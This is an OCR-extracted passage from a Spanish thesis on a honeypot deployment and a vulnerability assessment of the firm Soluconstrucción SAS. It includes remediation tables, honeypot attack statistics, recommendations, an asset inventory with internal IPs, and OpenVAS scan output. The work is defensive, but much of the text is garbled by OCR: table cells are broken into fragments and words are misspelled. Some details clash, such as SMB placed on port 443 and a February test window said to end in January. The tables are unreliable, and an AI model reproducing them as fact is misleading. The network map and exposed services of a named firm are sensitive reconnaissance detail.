Microsoft Servic
Windows SMB2 e Pack
Negotiation 1
900965 Protocol Remote . Corto | Windo . , .
. Seria Gratuito Facil
Code Execution Plazo | ws
Vulnerability Server
(MS08 _067_NET 2008
API) Estand
ar
Edition
Instala
r
Servic
Microsoft RDP e Pack
Server Privqte 1 . Gratui
902658 K_ey Information Alta Corto | Windo 0 Eacil
Disclosure Plazo | ws
Vulnerability Server
(MS12-020) 2008
Estand
ar
Edition
Instala
r
Servic
Microsoft e Pack
ASP'NET 1 . Gratui Facil
901161 In_formatlon Alta Corto | Windo 0
Disclosure Plazo | ws
Vulnerability Server
(2418042) 2008
Estand
ar
Edition
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Tabla 13. (Continuacion)

Soluci Dififlzﬁgg de
Cadigo Nombre Criticid on en Costo la
Vulnerabilid | Vulnerabilid el Control Contro .
ad . Implementaci
ad ad Tiemp [ ,
0 o6n del
Control
Deshabilit
ar las
LDAP Media ﬁalnassugaIZs Gratuit
10722 allows null Media no Facil
bases de 0
bases Plazo
datos del
servidor
LDAP.
Deshabilit
ar servicio
Largo SMB si no Gratuit
90011 SMB Test | Baja O e esta Facil
Plazo 0
usando
actualmen
te.
Deshabilit
ar servicio
LDAP  si )
100082 LDAP Baja | =290 | o se esta | AU pacil
Detection Plazo 0
usando
actualmen
te.
Deshabilit
Microsoft ar servicio
Remote RDP si no Gratuit
100062 Desktop Baja se esta Facil
Largo o]
Protocol usando
. Plazo
Detection actualmen
te.
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Tabla 13. (Continuacion)

Soluci . _Grado
Cddigo Nombre Criticid onen Costo D|f|culgad de
Vulnerabilid | Vulnerabilid el Control Contr
ad . Implementac
ad ad Tiemp ol L,
o i6n del
Control
Habilitar
Unicament
e los
servicios
Checks for Larao estrictame Gratui
900239 open tcp| Baja 9 nte Facil
Plazo . to
ports necesarios
que el
equipo
requiere
ofrecer.
Deshabilita
r servicio )
11011 | 103M Bonl poin | LAMGO | gyp s no | CTatul Facil
port 445 Plazo X to
se esta
usando.
Using
NetBIOS to Bloquear
retrieve Larao puertos de Gratui
10150 information Baja 9 comunicaci L
Plazo | to Facil
from a on de
Windows salida.
host
Configurar
la
respuesta
del
HTTP Larao servidor Gratui
10107 Server type | Baja 9 para Facil
) Plazo - to
and version utilizar un
nombre
alternativo.
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Tabla 13. (Continuacion)

Caodigo
Vulnerabilid
ad

Nombre
Vulnerabilid
ad

Criticid
ad

Soluci
on en
el
Tiemp
0

Control

Costo
Contr

Grado
Dificultad de
la

Implementaci
on del Control

100069

DNS Server
Detection

Baja

Largo
Plazo

Deshabilita
r Sservicio
DNS si no
se esta
usando
actualment
e

Gratu
ito

Facil

103190

ICMP
Timestamp
Detection

Baja

Largo
Plazo

Deshabilita
r servicio
Timestamp
Si no se
esta
usando.

Gratu
ito

Facil

102002

oS
fingerprintin
g

Baja

Largo
Plazo

Modificar
parametros
TCP/IP
(TTL,
Windows
Size,
Desactivar
paquetes
ICMP
Redirects).

Gratu
ito

Facil

80112

Simple TCP
portscan in
NASL

Baja

Largo
Plazo

Instalar
Service
Pack 3
Windows
XP
Profession
al Edition

Gratu
ito

Facil

900239

Checks for
open tcp
ports

Baja

Largo
Plazo

Habilitar
Gnicament
e los
servicios
estrictame
nte
necesarios

Gratu
ito

Facil

Autores
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10. RESULTADOS OBTENIDOS

e Araiz de los hallazgos encontrados en el Honeypot se concluye que el top 5 de
los servicios con mas eventos registrados fueron: RDP, SMB, Telnet, FTP y

SSH, acorde como se describe en la siguiente tabla 14 y figura 65.

Tabla 14. Top 5 servicios con mas eventos registrados

IP Origen
Puesto Servicio N° de Conexiones (Mayor Cantidad Pais Origen
Conexiones)
RDP 201.244.140.37 USA
1 (3389/TCP) 6135 96.47.226.21 US_A
106.3.80.36 China
SMB 121.11.76.92 China
2 (443/TCP) 5204 201.244.140.37 USA
106.3.80.36 China
Telnet 37.123.118.67 Inglaterra
3 (23%‘&) 5125 213.141.144.39 Rusia
174.138.175.180 USA
FTP
4 (21/TCP) 4345 173.208.225.113 USA
5 SSH 3498 199.19.105.222 USA
(22/TCP) 78.108.63.46 Suecia
109.163.233.98 Romania
HTTP 1.209.46.124 Corea Sur
6 (80/TCP) 3345 201.244.139.75 Colombia
69.46.65.144 USA
37.123.118.67 Inglaterra
DNS
7 (53/UDP) 2567 96.47.226.21 USA
8 NetBIOS 1478 201.244.139.75 Colombia
(137/TCP) 121.11.76.92 China
9 SQL Server 890 82.208.199.4 Serbia
(1433/TCP) 184.56.19.217 USA
SAP .
10 (30000/TCP) 337 213.179.241.206 Ucrania
Autores.
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Figura 65. HoneyBOT Reports — Top Ports
HoneyBOT Reports - Top Ports

All reports are based on HoneyBOT sensors that are contributing their log files

Fooo
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QS‘S & & N b < s & =
I
Ny
Servicios y Puertos
Autores.

e Acorde con los resultados obtenidos en el Honeypot, se puede concluir que la
mayor cantidad de ataques y escaneos de puertos no son ejecutados
localmente (Colombia), ya que provienen de otros paises principalmente de
China y Estados Unidos, como lo indica la tabla 14.

e Documentacibn de un analisis de las vulnerabilidades de la red de
Soluconstruccion SAS.

¢ Identificacion y analisis los ataques empleados para vulnerar el Honeypot.
¢ Definicién de un conjunto de medidas de remediacion, a partir de los hallazgos

encontrados en el honeypot y vulnerabilidades encontradas en el analisis
respectivo.
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11. CONCLUSIONES

A partir de los hallazgos encontrados en el Honeypot se concluye que la
compafiia necesita implementar medidas de remediacion en términos de
parches y services packs a corto plazo, puesto que las vulnerabilidades
explotadas en el Honeypot asociadas a parches, estdn igualmente presentes
en la red de Soluconstruccion segun el resultado del analisis de
vulnerabilidades, situacion por la cual existe un riesgo latente de que estas
Gltimas sean aprovechadas por un atacante, para realizar sus actividades a
placer en la red de esta PyME.

A raiz del analisis del Honeypot se llega a la conclusion de que Unicamente se
deben habilitar aquellos servicios de red estrictamente necesarios para el
negocio en: los servidores, estaciones de trabajo, enrutadores, switches, y
demas dispositivos de red, puesto que aquellos servicios que se habilitan y no
se usan, pueden llegar a ser usados como medios potenciales para efectuar
un ataque, tal cual se caracterizo en el ataque 2 con el servicio FTP simulado.
Esta situacion se podria controlar definiendo e implementando lineas base de
configuracion de los dispositivos de red, en las que se provean Unicamente
aquellos servicios que la compafia necesita para desempefar sus procesos
negocio.

A pesar de que el area de tecnologia de Soluconstruccién SAS consideraba
en el inicio del proyecto muy remota la posibilidad de ser afectados por
ataques informéticos, debido a su condiciobn de Pyme y al carecer de un
amplio reconocimiento popular o por no estar relacionada con temas
financieros como la banca; los hallazgos encontrados en el Honeypot, indican
gue esta compafiia fue un blanco de ataques informaticos externos, lo cual
evidencia que esta empresa no esta exenta de ser victima de los mismos.
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12. RECOMENDACIONES

e Es aconsejable implementar un dispositivo tipo Firewall UTM>® que brinde las
siguientes caracteristicas: Seguridad perimetral, Deteccion de intrusos, antivirus
perimetral, VPN, etc., a la red de Soluconstruccion SAS, puesto que en base a
los resultados y hallazgos encontrados en el Honeypot, se demuestra que
efectivamente se reciben atagues externos en la red de esta compaiiia, los
cuales pueden llegar a comprometer seriamente la disponibilidad, integridad y
confidencialidad de sus activos.

e Es recomendable realizar continuamente la instalaciéon de los parches de
seguridad y service packs del software (Sistemas operativos, aplicaciones, etc.)
en cada uno de activos a que haya lugar, puesto que con esta actividad se
disminuira el riesgo de ser victima de la explotacion de alguna vulnerabilidad
asociada a parches o service packs.

e Para la gestién centralizada de la descarga e instalacion de los parches de
seguridad en las tecnologias Windows de Soluconstruccion SAS, se aconseja
implementar un servidor WSUS>! que continuamente descargue las ultimas
actualizaciones y las aplique a los diferentes equipos de las red.

e Como recomendacion final se sugiere al area de tecnologia definir y aplicar de
forma estricta y detallada una linea base de configuracién en los Servidores,
Estaciones de trabajo, Enrutador, Switch etc., en los que se provean
Gnicamente aquellos servicios que la compariia necesita para desempefiar sus
procesos negocio, en aras de desactivar aquellos que no se utilizan, pero que
pueden llegar a ser comprometidos y por ende explotados por los atacantes.

* Equipo de seguridad perimetral que aparte de brindar la funcionalidad de firewall, ofrece otros
servicios como IDS/IPS, Filtro de Contenido, VPN, Antivirus, etc.
> Windows Server Update Services.

108



BIBLIOGRAFIA

BEALE, Jay. Snort: IDS and IPS Toolkit. Burlintong: Syngless Publishing, 2007.

CASTRO, Carlos. Implementacién de un Honeypot mediante KIPPO para detectar
acciones de un atacante al ganar acceso por SSH para mejorar la seguridad en la

red de un servidor. Cuenca Ecuador: Universidad de Azuay, 2011.

COLOBRAN, Miquel. Administracion de sistemas operativos en red. Barcelona:
UOC, 2008.

EDITOR, ---------- . habitacion511.eu [online], Oct. 2011 [citado 15 sep., 2012].
Disponible en:

< http://www.habitacion511.eu/index.php/iv-metasploit-4-0-exploitbackdoor/>.

KOMAR, Brian. Firewalls for dummies. New York: Wileypublishing, 2003.

DUBRAWSKY, Ido. Eleventh Hour Security+: Exam SYO-201 Study Guide.
Burlintong: Elsevier, 2010.

GERRIT, Gobel., DEWALsD, Andreas. Client-Honeypots: Exploring Malicious
Websites. Munich Alemania: Oldenbourg, 2011.

GRIMES, Roger. Honeypots for windows: Configure and manage windows
honeypots. New York United States:, 2005.

109



GIL VAZQUEZ, Pablo. Redes y transmision de datos. Alicante: Universidad de
Alicante, 2010.

INTRAEMPRENDEDOR, ----------=------ , mmmmmmmmmmmeenes [online], nov. 2012 [citado 17
mar., 2003]. Disponible en:
< http://www.intraemprendedor.com/2009/06/25/virtualizacion-de- ambientes-de-

sap-usando-vmware/>.

MARTY, Raffael. Applied Security Visualization. Addison Wesley, 2009.

MITNICK, Kevin. “The art of deception. Controlling the human element of security”.

Indianapolis: Wiley Publishing. 2002

RAMIREZ MARTINEZ, Guillermo. Desempefio Organizacional Retos Y Enfoques

Contemporaneos. México D.F.: Universidad de Occidente, 2004.

ROGER, Jean-Marc. Seguridad en la informatica de empresa: Riesgos,

amenazas, prevencion y soluciones. Barcelona: Ediciones ENI, 2004.

---------------- , ----------------_ Securegossip [online], feb. 2013 [citado 24 mar., 2012].
Disponible en:
< http://infolookup.securegossip.com/2012/03/24/ms12-020-rdp-vulnerabilty-

overview-and-testing/>.

SPITZNER, Lance. Honeypots: Tracking Hackers. Addison Wesley. 2002.

110



ANEXO A. ANALISIS DE VULNERABILIDADES DE LA RED DE
SOLUCONSTRUCCION SAS.

ENTENDIMIENTO DE LA INFRAESTRUCTURA

A continuacién se

identifican

los activos

informaticos existentes en

la

infraestructura de red de la empresa Soluconstrucciéon SAS encargados de apoyar
los procesos del negocio, con el fin de definir los servicios prestados, los procesos

relacionados con cada uno de estos servicios
responsables de soportarlos procesos en mencion.

y finalmente los activos

Tabla 15. Activos Informéaticos Soluconstruccion SAS

Nombre Equipo Ospl)zt;rtr;\?o IP Descripcion

Enrutador N/A 192.168.0.1 |Enrutador

Switch N/A 192.168.0.2 |Switch

Impresora N/A 192.168.0.4 |Impresora

Gerencia_general Windows XP | 192.168.0.25 |Estacién Trabajo de Gerencia
SP3 General.

Compras Windows XP | 192.168.0.26 |Estacién Trabajo de area
SP3 Compras.

Recepcién Windows XP | 192.168.0.27 | Estacion Trabajo de recepcion.
SP3

Recursos_humanos Windows XP | 192.168.0.28 |Estacién Trabajo de Recursos
SP3 humanos.

Tecnologia Windows XP | 192.168.0.29 |Estacion Trabajo de drea
SP3 Tecnologia.

Contabilidad Windows XP | 192.168.0.30 |Estacion Trabajo de drea
SP3 Contabilidad.

Caja Windows XP | 192.168.0.31 | Estacion Trabajo de Caja.
SP3

Gerencia_financiera Windows XP | 192.168.0.32 |Estacion Trabajo de Gerencia
SP3 Financiera.

Tesoreria Windows XP | 192.168.0.33 |Estacion Trabajo de 4drea
SP3 Tesoreria.
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Tabla 15. (Continuacion)

Nombre Equipo OS[;Setr:rgso IP Descripcion
OSSIM LINUX DEBIAN | 192.168.0.99 | SIEM de escaneo de
Vulnerabilidades y Monitoreo
de red.
SERV1 Windows 192.168.0.80 | Servidor de Aplicaciones (ERP,
Server 2008 Nomina), Controlador Maestro
Standar SP2 de Dominio, DNS.
SERV2 Windows 192.168.0.81 | Servidor Controlador de
Server 2008 Dominio Esclavo, DHCP, DNS e
Standar SP2 Impresion.
ACCESO_REMOTO Windows 192.168.0.82 |Servidor de Acceso Remoto
Server 2008 (Terminal Services).
Standar SP2

Soluconstruccion SAS

Figura 66. Topologia de la red de Soluconstruccién SAS.

LAN
Gl | | | | | | |
SERVIDORES . _ — — £
=" ~ °J 9
Autores
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Tabla 16. Activos soportados por los procesos

Activos que
Servicios Prestados Procesos Asociados Soportan los
Procesos
Recursos tecnologicos
. . . Facturacién y cobranza Servl
Directorio activo
Mercadeo y ventas Serv2
Abastecimiento
Recursos tecnologicos Servl
Dns
Posventa Serv2
Mercadeo y ventas
Dhcp Produccion Sery?

Facturacién y cobranza
Abastecimiento

Terminal services

Mercadeo y ventas
Recursos tecnolégicos

Acceso_remoto

Mercadeo y ventas
Produccion

. Servl
Kerberos Facturacion y cobranza
. Serv2
Abastecimiento
Recursos financieros
Recursos financieros
. Facturacion y cobranza
Impresion (spooler) Serv2
Mercadeo y ventas
Produccion
Servl
. Recursos tecnolégicos Serv2
Netbios .
Infraestructura Estaciones de
trabajo
Facturacién y cobranza
Recursos financieros
Software ERP Servl
Mercadeo y ventas
Produccion
Software nomina Recursos humanos Servl
Recursos humanos
Facturacién y cobranza
Sql server Recursos financieros Servl
Mercadeo y ventas
Produccion
Lda Mercadeo y ventas Servl
b Produccion Serv2

Soluconstruccion SAS
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DEFINICION DEL UNIVERSO DE PRUEBA

La presente etapa consiste en clasificar los activos acorde a los pilares de la
Seguridad de la Informacién: Confidencialidad, Disponibilidad e Integridad, para

determinar la importancia de los activos para la continuidad de negocio.

En esta etapa se procedio a definir el Universo de Prueba, el cual consiste en
seleccionar el conjunto de direcciones IP (perteneciente a los activos) a las que se
realizarq el escaneo de vulnerabilidades, agrupando los activos semejantes en
términos de configuracion y que son criticos para la operacion continua y segura

de los procesos.

Acorde con el listado de activos definido en la fase del entendimiento de la
infraestructura, se identifica un total de 3 servidores, y 9 estaciones de trabajo. Por
lo tanto para el universo de prueba se definen 2 grupos como se detalla a
continuacion: SERVIDORES (Servl, Serv2 Y Acceso Remoto) y ESTACIONES
DE TRABAJO (Tesoreria). Para el caso especifico de los servidores se procede a
incluir la totalidad de los servidores para su analisis respectivo, puesto que estos
incluyen configuraciones de Software diferentes debido a las funciones y servicios
que presta cada uno en la red. En el caso de las estaciones de trabajo se
selecciono 1 estacion Unicamente, ya que todas las estaciones de trabajo de la
empresa tienen aplicada la misma plantilla de configuracién de software®? definida
por el area de Tecnologia, por lo tanto se considera que el andlisis a una de ellas

es suficiente.

Como herramienta de escaneo de vulnerabilidades se usa la version gratuita de
OSSIM Alient Vault™,

°2 plantilla de configuracién de software: Hace referencia al conjunto de configuraciones del
Sistema Operativo (Firewall, Servicios Activos, Privilegios, GPO, etc.), Programas Instalados y
demas configuraciones definidas e implementadas por el area de Tecnologia en cada una de las
estaciones de trabajo, con el &nimo de establecer uniformidad y control sobre las configuraciones
de las mismas acorde a las politicas Tecnolégicas de Soluconstruccién SAS.

114



Tabla 17. Clasificacion de los activos acorde a los pilares de la S

Valoracion
Dispositivo IP Clase | Confid | Dispo | Integri | Prom | Servicios Prestados
Activo | enciali | nibilid dad edio
dad ad
Servid SQL Server:1433
SERV1 192.168.0.80 or 10 10 10 10
ERP:30000
Active Directory:445
DNS:53
SERV2 | 192.168.0.81 Sec:;"d 8 9 7 8 Netbios:139
LDAP:389
Kerberos:88
Active Directory:445
DNS:53
. Netbios:139
A(E:,\CMEJ??JR 192.168.0.82 Seor;"d 8 10 6 8
LDAP:389
Kerberos:88
RDP: 3389
RDP: 3389
Recursos Eéitzgl Netbios:139
HuManos 192.168.0.28 Trabai 10 5 9 8
o | Kerberos:88
Cliente SAP:30001
RDP: 3389
Estaci Netbios:139
Contabilida 6n de
d 192.168.0.30 Trabaj B 7 9 B Kerberos:88
0]
Cliente SAP:30001
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Tabla 17. (Continuacion)

Valoracion
| | Dispositivo IP Clase | Confid | Dispo | Integri | Prom | Servicios Prestados
d Activo | enciali | nibilid dad edio
dad ad
RDP: 3389
Estaci Netbios:139
Gerencia 6n de
6 Financiera 192.168.0.32 Trabaj 10 9 8 9 Kerberos:88
0
Cliente SAP:30001
RDP: 3389
Estaci Netbios:139
7 | Recepcion | 192.168.0.27 | "9 | 3 5 4 4
' o Trabaj Kerberos:88
0
Cliente SAP:30001
RDP: 3389
Estaci Netbios:139
8| caa |192168.031|02"9€ | ¢ 8 7 7
' e Trabaj Kerberos:88
0
Cliente SAP:30001
RDP: 3389
Estaci Netbios:139
Gerencia 6n de
9 General 192.168.0.25 Trabaj 8 ! 9 8 Kerberos:88
0
Cliente SAP:30001
RDP: 3389
Estaci Netbios:139
1 . 6n de
0 Tecnologia | 192.168.0.29 Trabaj 8 6 7 7 Kerberos:88
0
Cliente SAP:30001
i switch | 192.168.0.2 | S | 5 8 5 6 Switch
Base .
1| Basede N/A 4o 10 10 10 10 SQL Server:1433
2 | Datos ERP Datos
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Tabla 17. (Continuacion)

Valoracion
| | Dispositivo IP Clase | Confid | Dispo | Integri | Prom | Servicios Prestados
d Activo | enciali | nibilid dad edio
dad ad
RDP: 3389
Estaci Netbios:139
1 . on de
3 Tecnologia | 192.168.0.29 Trabaj 8 6 7 7 Kerberos:88
0
Cliente SAP:30001
411 Switch | 192.168.0.2 S"x'tc 5 8 5 6 Switch
Base .
1| Basede N/A 4o 10 10 10 10 SQL Server:1433
5 | Datos ERP
Datos
Base Base .
(13 Datos N/A de 10 10 10 10 | SQLServer:1433
Nomina Datos
L erp N/A Aplica |46 | 19 | 10 | 10 ERP: 30001
7 cién
1| SOFTWAR Aplica _
8 | E NOMINA N/A cion 10 10 10 10 SN: 45676
L1 Enrutador | 19216801 | EMUt | 4 7 4 5 Enrutador
9 ador
Autores
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MEDIDAS PREVENTIVAS ANTES DE LAS PRUEBAS

Con el universo de prueba previamente establecido se procede a definir las
medidas preventivas a que haya lugar previo a la ejecucion del escaneo de
vulnerabilidades, con el animo de advertir algun tipo de efecto colateral o
comportamiento inestable de los servicios de la red, que puedan afectar el normal

desempefio del negocio.

Tabla 18. Medidas preventivas previas a las pruebas
Se establecié como fecha y horario de las pruebas los dias: 20 y 21
de Febrero de 2013, a partir de 1as:8:00 p.m. del 20 de Febrero hasta
las 3:00 a.m. del dia 21 de enero.
1. HORARIO DE Se seleccionaron estos estas fechas, puesto que estos dias eran
previos al cierre contable del mes, lo cual no interferiria en su normal
PRUEBAS : > : . )
ejecucion. De igual forma se realizaron las pruebas en horario
nocturno, porque en este lapso de tiempo no se comprometeria el
rendimiento de las red y aplicativos; situacion que sucederia en
horario de oficina.

Impacto
Activo (Escala 1-5)
1 (Menor Impacto)
. 5 (Mayor Impacto)
2. ANALISIS DE NO
SERV1 5
DISPONIBILIDAD DE
ACTIVOS CRITICOS SERV2 4
ACCESO_REMOTO 4
TESORERIA 3
Medida Accion
Se procedié a comunicar
con 4 dias de anticipacion
a la Gerencia General,
a. Socializacion de las pruebas. todas las areas y al

coordinador del Plan de
Recuperacién de

Desastres de la empresa.

118



Tabla 18. (Continuacion)

b. Realizar respaldos de la informacion

de los activos involucrados.

Se procedié a realizar los
respaldos de las bases de
datos de produccion, el
directorio  activo, los
archivos ofimaticos
relevantes, instaladores
de los aplicativos vy
respaldos de los sistema

operativos.

3. MEDIDAS DE
CONTINGENCIA

c. Guardar en formato electrénico y
fisico  configuraciones de  equipos

involucrados.

Se guardo en formato
electrénico en disco
externo cifrado y fisico
(Caja fuerte) las plantillas
con las configuraciones de
los Sistemas Operativos,
Aplicaciones, Bases de
Datos y SGBD con sus
respectivas

configuraciones.

La socializacién se realizo 4 dias antes a la realizacién de la esta
actividad, con el fin de comunicar con anticipacién a todas las areas: el
4. SOCIALIZACION objetivo, el por qué, para que, cuando, donde, quien(es) y el horario de
DE LAS PRUEBAS. las pruebas. De igual manera se solicito informar si después de las
pruebas se presentaban inconvenientes con las Aplicaciones,

Sistemas Operativos, Red o algun otro tipo de situacién de anormal.

Autores.
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REALIZACION DE LAS PRUEBAS DE VULNERABILIDADES

Como se comento en la fase de medidas preventivas, las pruebas se ejecutaron
en los dias: 20 y 21 de Febrero de 2013 en horario nocturno, puesto que estos
dias eran previos al cierre contable del mes y no comprometeria el rendimiento de
la red y aplicativos durante el horario de oficina.

En consecuencia a continuacion se muestra los resultados del escaneo de
vulnerabilidades de los activos definidos en el universo de prueba.

Figura 67. Resumen general de vulnerabilidades encontradas

(_)Fecha/Tiempo (=)Mombre del trabajo (_)Equipo/Red  Buscar
Fecha/Tiempo Nombre del trabajo Objetivos Parfil E3 4 I B
2013-02-20 20:00:00 E3C_SERV_1 SERW1 Default 1 1 2 24 19
20113-02-20 22:00:00 ESC_SERV_2 SERWZ Default 1 2 2 3 27
2013-02-21 00:00:00 ESC_SERV REMOTO ACCESO_REMOTO Default 1 o 0 10 9
2013-02-21 02:00:00 ESC_EST_TRA _TESO TESORERIA Default (1] 1 0 22 25
Autores.

Figura 68. Resumen vulnerabilidades servidor servl

S
0,00([{[[1] AlienVault: 1.T. Security Vulnerability Report
Fecha Inicio: 2013-02-20 20:00:00 Generado: 2013.02-21 15:51:30
Perfil: Default Nombre del trabajo: |[ESC_SERV_1

El nimero total de vulnerabilidades identificadas en 1 sistema(s)

. Seriocus: 1
. High: 1
Medium: 2
D Low: 24
[] 1nfe: 19
El nimero total de vulnerabilidades identificadas por sistema
P equipo Nombre equipo Serias Alto mMed Bajo info
192.168.0.80 SERV1 1 1 2 24 19

Autores.
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Figura 69. Listado de vulnerabilidades servidor servl
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Fiaura 69. (Continuacion)
LDAP allows null bases
Synopsis:
It is pessible to disclse LDAP information.
Description:
Improperty configured LDAF servers will sliow the directory BASE
to be ==t to NULL. This allows information to be culled without
any prior knowledge of the directony structure. Coupled with 3
NULL BIMD, an anonymous user can query your LDAP server using a
tool such as "LdapMiner
Solution:
Disable MULL BASE gueries on your LDAP server
CVES Base Score : 2.0
Use LDAF search request to retrieve information from NT Directory Services

Synopsis:
It is possible to disclose LDAP information.
Description:

The directory base of the remote server is set to NULL. This allows information
to be enumerated without any prior knowledge of the directory structurs.

Solution:

|f pre-Windows 2000 compatibility is not reguired, remove

pre-Windows 2000 compatibility a= follows :

- start cmd.exe

- execute the command :

net localgroup Pre-Windows 2000 Compatible Access” evenyone /delete
- restart the remote host

Microsoft Remote Desktop Protocol Detection

The Microsoft Remate Desktop Protocol (RDF) is running at this host. Remots
Desktop Services, formerly known as Terminal Services, is one of the components
of Microsoft Windows (both server and client versions) that sllows a user to
access applications and dsta on 3 remate compurter over @ network.

CVES Base Score : 0.0
VoL

Check open ports

This port was detected as being open by a port scanner but is now closad.
This service might have been crashed by a port scanner or by a plugin

‘CV5S Base Score : 0.0

VL

DM§ Server Detection

Overview:

A DNS Server is running at this Hest.

A Name Server translates domain names into |P addresses. This makes it
possible for 3 user to acoess a website by typing in the domain name instead of
the websites actual IP address.

CVES Base Score : 0.0

QL

10722 kdap (385tcp) Medium [ITIT]
Family name: Remote file access
Category: infos
Copyright: Copyright (C) 2000 John Lampe....J_lampe@bellsouth.net
Summary: Check for LDAP null base
Version: $Revision: 13803 §
12105 ldap (383'tcp) Medium [T

Family name: Remote file access

Category: infos

Copyright: This script is Copyright (C) 2004 David Kyger

Summary: Use LDAP search request to retrizve information from NT Dirsctory Sarvices

Version: $Revision: 12809

100062 ms-wht-server (338tcp) Low [T
Family name: Windows
Category: infos
Copyright: This script is Copyright (C) 2002 Greenbone Metworks GmbH
Summary: Check for Microsoft Remote Desktop Protocol
Version: 3Revision: 13184
10919 msft-ge-ssl (32E3/tep) Low I
Family name: General
Category: end
Copyright: Thiz zcript is Copyright (C) 2002 Michel Arboi
Summary: Check if ports are still open
Version: 3Revision: 13384 3
100089 domain (52/tcp) Low [

Family name: General

Category: infos

Copyright: This script is Copyright {C) 2009 Greenbone Metworks GmbH
Summary: Detect DNE Sarvers

Version: 3Revision: 13184
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Fiaura 69. (Continuacion)

08 Version = Windows Server {R) 2008 Standard 8001 Service Pack 1
Domain = SOLUCONSTRUCCIO
SMB Serverversion = WIND-OWS SERVER (R) 2008 STANDARD 6.0

CVSS Base Score : 0.0
VoL

SME Test

05 Version = Windows Server {R) 2008 Standard 6001 Sarvice Pack 1
Domain = SOLUCONSTRUCCIO
SMB Serverversion = Windows Server (R) 2008 Standard 6.0

CV5S5 Base Score : 0.0
VoL

LDAF Detection
A LDAP Server is running at this host.
The Lightweight Directory Access Protocol, or LDAP is an application
protocol for guenying and modifying directony services running over
TCPIIP.
CVES Base Score : 0.0

VoL

05 fingerprinting

|CMP based OF fingerprint results: (35% confidence)
Micresoft Windows

CV5S5 Base Score : 0.0

VL

Checks for open udp ports

Open UDP ports: [Mone found]

CVES Base Score : 0.0

voLu

Information about the scan
Traceroute
Here is the route from 152.168.0.99 to 152.168.0.100:
152.168.0.99
152.168.0.100

CVES Base Score : 0.0

VoL

Simple TCP portscan in NASL

Host have 13 TCP port(s) open in given port range.

‘CV5S Base Score : 0.0

VoL

Simple TCP portscan in NASL

This portscanner is EXPERIMENTAL and you should NOT RELY ON it if you don’t know what
you're doing. |f you are sure what you're doing - you should turn on experimental_scripts
option in preferances in order to turn of f this warning.

CVES Base Score : 0.0

VL

50011 general (VSMBCliznt)

Family name: Windows.

Category: infos

Copyright: Copyright {C) 2008 Greenbone Metworks GmbH

Summary: Determines the 05 and SMB Version of Host

Version: $Revizion: 13388 §
20011

Family name: Windows.

«general (VEMBCHent)

Category: infos
Copyright: Copyright {C) 2008 Greenbone Networks GmbH
Summary: Determines the 08 and SME Version of Host

Version: $Revizion: 13388 §

100082 id=p (338/tep)

Family name: Service detection

Category: infos

Copyright: This script is Copyright {C) 2008 Greenbone Metworks GmbH
Summary: Check for LDAP

Version: $Revizion: 13384 §

102002 general (Ditcp)
Family name: Product detection

Category: infos

Copyright: Copyright (C) 2009 LSS

Summary: Detects remote operating system version

Version: $Revision: 12400

103578 general {Wtoep)
Family name: General

Category: infos

Copyright: Copyright (c} 2012 Greenbone Metworks GmbH
Summary: Check Open UDF Forts.

Version: $Revizion: 12355 §

19506 general {Wtop)

Lew [
Low I

51662 general (Iitcp)

Family name: General

Category: infos

Copyright: Copyright {c) 2005 E-Soft Inc. http:/fwww. securityspace. com
Summary: Traceroute

Version: $Revision: 13783 §

80112 general {0'tcp)

Family name: Port scannars

Category: scanner

Copyright: This script is Copyright (C) 2010 Viatke Kosturjak
Summary: Performs portscan

Version: $Revision: 13388 §

80112 general (IVtcp)

Family name: Port scanners

Category: scanner

Copyright: This script is Copyright {C) 2010 Viatko Kosturjak
Summary: Performs portscan

Version: SRevizion: 13288 §
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Fiaura 69. (Continuacion)

Checks for open tcp ports

‘Open TGP ports: 3269, 464, 445, 593, 636, 135, 88, 389, 3385, 129, 30001, 53, 3208

CVSS Base Score : 0.0

VL

DNE Server Detection

Overview:
A DNS Server is running at this Host.
A Name Server translstes domain names into IP addresses. This makes it

possible for 3 user to scoess a website by typing in the domain name instead of

the website’s actual IP address.

CVSS Base Score @ 0.0
vou

Identify unknown services with nmap

nmap thinks tocpwrapped is running on this port

‘CVES Base Score : 0.0

VL

SME NativeLanMan

Overview:

It is possible to extract 05, domain and SMB server information

from the Session Sstup Andl Responss packet which is generated
during NTLM authentication.

Detected SMB workgroup: SOLUCONSTRUCCIO

Detected SMB server: Windows Server (R) 2008 Standard 5.0
Detected O5: Windows Server (R) 2008 Standard 8001 Service Pack 1

CVEE Base Score : 0.0

VL

5SMB on port 445

A CIFS server is running on this port

CVEE Base Score : 0.0

V@@L

Identify unknown services with nmap

nmap thinks ldap is running on this port

CVEE Base Score : 0.0

VL

200228 general (Wtcp)
Family name: General
Category: infos
Copyright: Copyright (C) 2010 SecPod
Summary: Check Open TGP Ports
Version: $3Revision: 12660 &
100065 domain {53/udp)
Family name: General
Category: infos
Copyright: Thiz script is Copyright {C) 2008 Greenbone Networks GmbH
Summary: Detect DNS Servers
Version: $Revision: 13384 5
e ldaps (323/tce)
Family name: Service detection
Category: infos
Copyright: Copyright {c) 2005 E-Soft Inc. http:/fwaw. securityspace.com
Summary: Launches nmap -=V against ports running unidentified services

Version: 5Revision: 13384 5

102011 microsoft-ds (445/tcp)
Family name: Service detection
Category: infos
Copyright: Copyright (C) 2009 LSS
Summary: Extracts info about the OS5 through NTLM suthentication packsts

Version: 5Revision: 13564 5

11011 microzoft-ds (445/tep)
Family name: Windows
Category: infos
Copyright: This script is Copyright {C) 2002 Renaud Deraison
Summary: Checks for openness of port 445
Version: $Revision: 12875 §
66286 msft-gc (3268/tcp)
Family name: Service detection
Category: infos
Copyright: Copyright (c) 2009 E-Soft Inc. http:./fwww. securityspace. com
Summary: Launches nmap -s\ against ports running unidentified services

Version: $Revision: 13384 §
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Fiaura 69. (Continuacion)

SMB Test 20011 general (I/SMBCliznt)
Family name: Windows
OS5 Version = WINDOWS SERVER {R) 2008 STANDARD 6001 SERVICE PACK 1
Domain = SOLUCONSTRUCCIO Category: infas
SMB Serverversion = WINDOWS SERVER (R) 2008 STANDARD 6.0
Copyright: Copyright {C) 2008 Greenbone Metworks GmbH

CVES Baze Scorz 1 0.0 Summary: Determines the OS and SME Version of Host
19,00 Version: $Revision: 13388 §
Identify unknown services with nmap 86286 msft-go-ssl (3238tcp)

Family name: Sarvice detection

nmap thinks tcparapped is running on this port Category: infos
CV5SS Base Score : 0.0 Copyright: Copyright {c) 2009 E-Soft Inc. http:/famw securityspace. com
i! @ 7 Summary: Launches nmap -V against ports running unidentified services

Version: $Revision: 13384 §

Using MetBIOS to retrieve information from a Windows host 10150 netbios-ns (137/udp)
The fiollowing 5 NetBIOS names have been gathered © Family name: Windows
